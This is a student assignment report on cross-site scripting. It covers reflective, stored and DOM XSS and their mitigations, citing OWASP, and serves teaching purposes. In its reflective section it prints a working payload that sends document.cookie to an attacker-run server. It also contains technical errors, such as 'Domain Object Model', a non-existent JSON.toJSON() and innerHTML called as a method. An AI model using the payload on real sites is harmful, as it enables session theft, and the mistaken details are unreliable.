# COMP3008 Assignment 2 - Cross-Site Scripting

## Introduction

Cross-Site Scripting or XSS is a form of web vulnerability exploit which involves the injection of malicious scripts into webpages, which are then unknowingly executed if the web page is not adequately secured against XSS. The malicious script often involves JavaScript wrapped in HTML script tags but can consist of anything executable by the browser including Flash and pure HTML [1].

Complex payloads allow attackers to information such as session tokens, cookies, or other sensitive data such as passwords, from which attackers can use for malicious purposes. The unsecured nature of many of the attack vectors of cross-site scripting on most web pages make it one of the most common web vulnerabilities that are exploited [1].

There are three main categories of XSS that can occur, each differing in how their malicious payload is delivered and in what manner they are executed. Each method subsequently has a different method of prevention and detection that must be known and implemented separately [1].

## Reflective XSS

### Description

Reflective XSS is the simplest type of XSS. It occurs when the payload is ‘reflected’ off the website such as through an error message or pop-up box [1]. More specifically,  data is read directly from the HTTP request and reflected in the HTTP response.

An example of a very simple reflective XSS would be as follows:

*<script>alert(“you just got meatballed”);</script>*

This causes the browser to execute the JavaScript function “alert()” to display the contained message if it is entered through an unsecured user input box for example.

A much more complex example would be as follows:

*<script>(new Image).src = "http://0.0.0.0:1337/?cookie="+document.cookie</script>*

This payload causes the browser to try and load a new Image object and set its src property to the web server, then load that image by visiting that server which is run by the attacker. This results in the attacker receiving the image loading GET request to that web server and consequently, the admin cookie which they can then use to edit their cookie session value and gain admin access to that website [2].

### Mitigations

A naïve but effective method of preventing reflective XSS is to ‘blacklist’ the characters that are essential to a standard reflective XSS payload, including but not limited to ‘<’, ‘>’ and some forms of punctuation. This transforms the payload and makes it impossible for the browser to execute it. This is trivial to implement for all user input methods but also limits what the user can input into the website, possibly to the detriment of website functionality [1]. An example of such blacklisting can be seen below:

if (!/^[a-zA-Z]\*$/.test($("#TK421").val())) {

alert("invalid characters entered, try again");

$("#TK421").val("Enter Search here");

}

A less cumbersome and more watertight method of preventing reflective XSS (which is also effective against other types of XSS) is to use a library specifically designed to sanitize input to prevent arbitrary execution. An example of this is Microsoft’s AntiXss, which can override the default HttpEncoder class for safer encoding methods. It takes a different approach, where rather than blacklisting possibly nefarious characters, it whitelists acceptable characters.

An even more blunt but quite foolproof way to prevent reflective XSS is to simply not reflect information back to the user on the web page at all.

## Persistent XSS

### Description

This method of cross-site scripting is also known as Stored XSS and as the name suggests, it involves the malicious payload being injected into a website’s storage facility [1, 3]. Though it is talked about separately from reflected XSS, they overlap heavily and are commonly both referred to under the banner of ”Server XSS”, which simply describes any exploit where user submitted data is sent along a HTTP response [3].

Rather than injecting the payload into an immediately reflective input box, stored XSS involves a payload being user submitted into a web pages database, user comment section, forum posts or anything where the stored data ‘persists’. When the victim attempts to then retrieve the stored data, they instead retrieve the stored payload which is then executed by the browser if there has not been any sanitisation on either the client or server side of the web page [1, 3].

### Mitigations

Because the payload for persistent XSS is the same as that of reflective XSS, the mitigation methods for preventing reflective XSS are also applicable to persistent XSS, such as character blacklisting and secure encoding libraries such as AntiXss. A difference between the two mitigation methods is that the input sanitation is done against text inputs in which the entered data is stored. However, persistent XSS also gives more options when dealing with the exploit.

## DOM XSS

### Description

As the name suggests, DOM XSS is used by attackers to steal sensitive information by modifying the Domain Object Model of the web page. It is a more obscure and uncommon form of XSS due to being more complex than the other .

While reflective and persistent XSS are executed by injecting the payload in the response page and through the HTTP request, DOM XSS affects the client-side code to cause unwanted and unexpected behaviour [4]. Then, when that unusual behaviour is triggered, the payload is executed. This modified DOM element could take the form of a HTML element such as button that leads to a security breach, or the URL of that web page.

In a simple, hypothetical web application, which takes in some user input and uses it to change the behaviour of the web page, the client-side code may use a JavaScript method that alters the DOM such as document.write(). Suppose this method is used to set the default language of a web page, this method could be used to supply a query string to change the currently used language e.g. <http://fakesite.com/page.html?default=French>. A payload can be inserted here e.g. “http://fakesite.com/page.html?default= <script>”alert(“you just got meatballed”);</script>” [4]. When the user is sent to this location the browser renders the HTML in the URL because it does not check for it and the malicious payload is executed.

### Mitigations

DOM XSS occurs when unsafe JavaScript APIs are used so the best way to prevent DOM XSS is to simply not use such methods when creating your web application. For example, rather than using the “eval()” function to convert JSON to native JavaScript objects, use JSON.toJSON() and JSON.parse() [5]. In fact, it is best to not use “eval()” for any user input at all [5]. This is also a good practise for preventing server Xss.

The DOM XSS through a URL example seen above would be impractical to have to parse for possibly nefarious characters. Avoid use of these this method and others like it such as “element.innerHTML()” and if that is not possible, avoid sending untrusted data into them to begin with.

As with server side XSS, DOM XSS also uses similar payloads and therefore can also whitelist or blacklist characters to sanitise input or outright reject it, though this is more restrictive for DOM XSS as URLs and JavaScript DOM method parameters deal with more specific characters than standard user input [4, 5].

## References

1. Cross Site Scripting (XSS) Software Attack | OWASP Foundation [Internet]. Owasp.org. 2021 [cited 18 May 2021]. Available from: <https://owasp.org/www-community/attacks/xss/>
2. Abrar F. Lab 2 Part B - Writeup. Perth; 2020.
3. Types Of Cross Site Scripting (XSS) Software Attack | OWASP Foundation [Internet]. Owasp.org. 2021 [cited 18 May 2021]. Available from: <https://owasp.org/www-community/Types_of_Cross-Site_Scripting>
4. DOM Based XSS Software Attack | OWASP Foundation [Internet]. Owasp.org. 2021 [cited 18 May 2021]. Available from: <https://owasp.org/www-community/attacks/DOM_Based_XSS>
5. DOM based XSS Prevention Cheat Sheet | OWASP Foundation [Internet[.Owasp.org. 2021 [cited 18 May 2021] Available from: <https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html>